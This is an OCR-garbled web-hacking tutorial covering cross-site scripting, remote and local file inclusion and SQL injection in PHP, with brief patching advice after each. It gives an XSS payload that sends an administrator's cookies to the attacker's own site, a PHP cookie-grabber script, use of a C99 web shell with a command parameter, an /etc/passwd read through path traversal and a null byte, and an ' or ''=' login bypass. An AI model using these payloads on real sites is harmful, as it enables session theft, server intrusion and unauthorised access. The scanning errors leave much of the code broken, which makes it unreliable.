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[3] SQL Injection



Cross Site Scripting — Xss

Cross Site Scripting consists in entering javascript code via

i nput .

One of the nost inportant way to take advantage of Xss( not the
one ) is getting victins cookies.

W have got a page like this:

i ndex. php:

<?php
print $ CET['variable'];
2>

Try to insert an alert in the GET variabl e:
http://sito.it/index. php?variabil e=<script>alert(1)</script>
we'll see an alert which contains the nunber “1”.

This technique (which seens to be harm ess) is very useful
Now let's try to grab admn's cookies with a xss:

First of all we nedd a Cookie G abber:

<?php

/* www. devi |l snight.altervista.org */

$cookie = $ GET[' cookie']; //

$w = fopen("cookies.htm", "a"); //Open the file “cookies.htm ”
fwite($w, 'Cookie: <b>: .$cookie. </b><br>"); // print Cookies
fclose($w); // Close the file

?>

Now you have tofind an xss and to use it in this way:
http://site.comindex. php?vari abl e=<scri pt >wi ndow. | ocati on="http:/
/yoursite.conl cg. php?cooki e="+

docunent . cooki e</ scri pt >

Send this link to site adm nistrator and go to “cookies. htm ",
there you can see admn's cookie ~"

Pat chi ng

How can protect our sites from xss attacks?
Fortunately php devel opers have invented two functions:
ht m speci al chars and htmentities:

This is an exanpl e of NOT vul nerabl e code:

<?php
print htm special chars($_GET['variable']);
2>

0. .

<?php
print htmentities($ _GET['variable']);
2>




Now you can see that if you go to
http://sito.it/index. php?vari abl e=<script>alert(1)</script>
no al ert appears """

File Inclusion (Renote/Local)

Renote File Inclusion

Renote File Inclusion consists in including external files in a
“victint site

| suggest to noobs to download C99 shell and to save it on his
own site in txt format

(not in php, otherwise the file will be interpreted executed on
OUR server)

We have got a vul nerable page like this:

<?php

$vuln = $ GET['rfi'];
i nclude ($vul n);

?>

This is a vulnerable script because it includes files not

“speci fied” and because of this is possible to include external
(renote) files

So we can attack in this way:

http://site.com pagvul n. php?rfi=http://site.confshell.txt?cnmd=ls

But What does “?cnd=ls” nean?
Let's suppose that instead of the previous code there is sonething
like this

<?php

$vuln = $ CET['rfi'];

include ($vuln . '/boh.php');
?>

In this case if we don't put question mark the server includes the
file

http://sito.it/shell.txt/boh. php

Eit return us an error

Wi | e addi ng “?cmd=ls” (*nix command) |'Il get this page
http://sito.it/nostrashell.txt?cnmd=l s/ boh. php
And it will include our shell in a correct way

NB: you can only add *“?” (question mark) instead of “?cnd=ls”

Local File Inclusion

Local File Inclusion is very simliar to RFl, but it allows to
include only “files inside the server ”
For exanple we can “ask” the site users' nicks and passwords in




this way:
http://site.com pagvul n.php?lol=../../../..1..1../../letc/passwd
However this attack is harnless if the source is |like this:

<?php

$lol =$ GT['lol'];
i ncl ude("$l ol . php");
?>

it triestoopen ../../1..1..1..1..1../letc/lpasswd. php (and
obviously it wll be an error )

So we nust add at the “9%0” (null byte):
http://site.com pagvul n.php?lol=../../../..1..1../../etc/passwd%0

Now it should work A"
Pat chi ng

To patch both RFI and LFI | suggest not to include variabl es not
checked but to specify always the fol der where you get files to
i ncl ude

For exanpl e:

<?php
$lol =$ GT['lol"'];
i ncl ude("$l ol . php");

2>

It will be:

<?php

$lol ="./":

i nclude("$l ol " . "pagina. php");
?>

SQL I njection

Before studying this technique it will be better know ng SQ. | anguage

Nowadays al nost each site uses a database, that is often MySql

We can send to our database sone “values in GET or POST form

To try if a site is vulnerable we can try to insert ' in the user
field (or password field)

| f appears sonething like this:

M crosoft OLE DB Provider for SQ. Server error '80040el4
Uncl osed quotation mark before the character string "'

The site is probably vul nerabl e.




Let's anal yze how to send to our database sone values in GET form
First of all decide the two variables (in this case nane e pwd)

$name = $ GET[' usernane'];
$pwd = $_GET[' pwd' ] ;

Now wite the SQ query

$boh = nysqgl query(“SELECT * FROM t abl enanme WHERE user nane=' $nane'
AND
pwd="$pwd’ ") ;

and try to insert in both the fields this “code”:

Or ||:|

wwmv. site.it/adm n/index. php?username=' or ''='&wl=" or ''=
What does it happen?

The page send this query to the db:

SELECT * FROM t abl enane WHERE usernane=""' or ''="'"AND pwd=""' or

So we will log in (without inserting credentials) wthout any
pr obl em A7
NB: It's also good inserting only in the password field the code:

SELECT * FROM t abl enane WHERE user nane="'AND pwd=""' or ''=

Pat chi ng

There are two ways to patch the previous codes, one is used if the
value is letteral, the other if it's nuneric.

To patch the first is used the function “nysql _real escape_string”
that (It's alnost |ike htm special char for xss) "filters"”
mal i ci ous codes:

\$pmd = nysql _real escape_string ($CGET[' pwd' ];

While to patch the second we have to add a "(int)"

|$userid = (int) $ _GET['userid'];

Thanks to this everything that it isn't nuneric isn't considered




VWll.. Also this tutorial is finished
| hope that after this guide you don't have any doubt, for any
question you can find ne on
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